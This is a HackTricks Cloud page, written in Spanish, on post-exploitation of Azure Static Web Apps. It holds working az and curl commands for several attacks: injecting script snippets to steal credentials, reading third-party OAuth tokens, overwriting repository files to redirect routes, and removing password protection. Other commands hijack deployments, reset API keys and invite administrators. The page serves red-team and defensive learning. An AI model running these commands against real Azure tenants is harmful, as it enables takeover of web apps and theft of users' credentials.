Az - Static Web Apps Post Exploitation
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
Azure Static Web Apps
Para más información sobre este servicio consulta:
Microsoft.Web/staticSites/snippets/write
Es posible hacer que una página web estática cargue código HTML arbitrario creando un snippet. Esto podría permitir a un atacante inyectar código JS dentro de la web app y robar información sensible, como credenciales o mnemonic keys (en web3 wallets).
El siguiente comando crea un snippet que siempre será cargado por la web app::
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
Leer credenciales de terceros configuradas
Como se explica en la sección App Service:
Ejecutando el siguiente comando es posible leer las credenciales de terceros configuradas en la cuenta actual. Ten en cuenta que, por ejemplo, si algunas credenciales de Github están configuradas en un usuario distinto, no podrás acceder al token desde otro usuario.
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
Este comando devuelve tokens para Github, Bitbucket, Dropbox y OneDrive.
Aquí tienes algunos ejemplos de comandos para comprobar los tokens:
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
Sobrescribir archivo - Sobrescribir rutas, HTML, JS…
Es posible sobrescribir un archivo dentro del repo de Github que contiene la app mediante Azure disponiendo del Github token, enviando una solicitud como la siguiente que indicará la ruta del archivo a sobrescribir, el contenido del archivo y el mensaje del commit.
Esto puede ser abusado por atacantes para, básicamente, cambiar el contenido de la aplicación web y servir contenido malicioso (robar credenciales, claves mnemónicas…) o simplemente redirigir ciertas rutas a sus propios servidores sobrescribiendo el archivo staticwebapp.config.json.
Warning
Tenga en cuenta que si un atacante logra comprometer el repo de Github de cualquier manera, también puede sobrescribir el archivo directamente desde Github.
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
Microsoft.Web/staticSites/config/write
Con este permiso, es posible modificar la contraseña que protege una static web app o incluso desproteger todos los entornos enviando una solicitud como la siguiente:
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
Microsoft.Web/staticSites/listSecrets/action
Este permiso permite obtener el API key deployment token para la aplicación estática.
Usando az rest:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
Usando AzCLI:
az staticwebapp secrets list --name <appname> --resource-group <RG>
Entonces, para actualizar una app usando el token puedes ejecutar el siguiente comando. Ten en cuenta que este comando se extrajo revisando cómo funciona la Github Action https://github.com/Azure/static-web-apps-deploy, ya que es la que Azure establece por defecto para usar. Por lo tanto, la imagen y los parámetros podrían cambiar en el futuro.
Tip
Para desplegar la app puedes usar la herramienta
swade https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token o seguir los siguientes pasos:
- Descarga el repo https://github.com/staticwebdev/react-basic (o cualquier otro repo que quieras desplegar) y ejecuta
cd react-basic. - Cambia el código que quieras desplegar
- Desplégalo ejecutando (recuerda cambiar el
<api-token>):
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
Warning
Incluso si tienes el token no podrás desplegar la app si la Política de autorización de despliegue está establecida en Github. Para usar el token necesitarás el permiso
Microsoft.Web/staticSites/writepara cambiar el método de despliegue y usar el APi token.
Microsoft.Web/staticSites/write
Con este permiso es posible cambiar la fuente de la static web app a un repositorio de Github diferente, sin embargo, no se aprovisionará automáticamente ya que esto debe hacerse desde una Github Action.
Sin embargo, si la Política de autorización de despliegue está establecida en Github, ¡es posible actualizar la app desde el nuevo repositorio fuente!.
En caso de que la Política de autorización de despliegue no esté establecida en Github, puedes cambiarla con el mismo permiso Microsoft.Web/staticSites/write.
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'
Ejemplo de Github Action para desplegar la aplicación:
name: Azure Static Web Apps CI/CD
on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
Microsoft.Web/staticSites/resetapikey/action
Con este permiso es posible restablecer la API key de la static web app, potencialmente DoSing los workflows que despliegan automáticamente la app.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
Microsoft.Web/staticSites/createUserInvitation/action
Este permiso permite crear una invitación para un usuario para acceder a rutas protegidas dentro de una static web app con un rol específico.
El inicio de sesión se encuentra en una ruta como /.auth/login/github para github o /.auth/login/aad para Entra ID, y un usuario puede ser invitado con el siguiente comando:
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
Pull Requests
Por defecto los Pull Requests desde una rama en el mismo repo se compilan y construyen automáticamente en un entorno de staging. Esto podría ser abusado por un atacante con acceso de escritura al repo pero sin poder eludir las protecciones de rama de la rama de producción (normalmente main) para desplegar una versión maliciosa de la app en la URL de staging.
La URL de staging tiene este formato: https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain> como: https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net
Tip
Ten en cuenta que por defecto los PRs externos no ejecutarán workflows a menos que hayan fusionado al menos 1 PR en el repositorio. Un atacante podría enviar un PR válido al repo y luego enviar un PR malicioso al repo para desplegar la app maliciosa en el entorno de staging. SIN EMBARGO, hay una protección inesperada: la Github Action por defecto para desplegar en la static web app necesita acceso al secret que contiene el token de despliegue (como
secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F) incluso si el despliegue se realiza con el IDToken. Esto significa que, puesto que un PR externo no tendrá acceso a ese secret y un PR externo no puede cambiar el Workflow para colocar aquí un token arbitrario sin que un PR sea aceptado, este ataque realmente no funcionará.
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

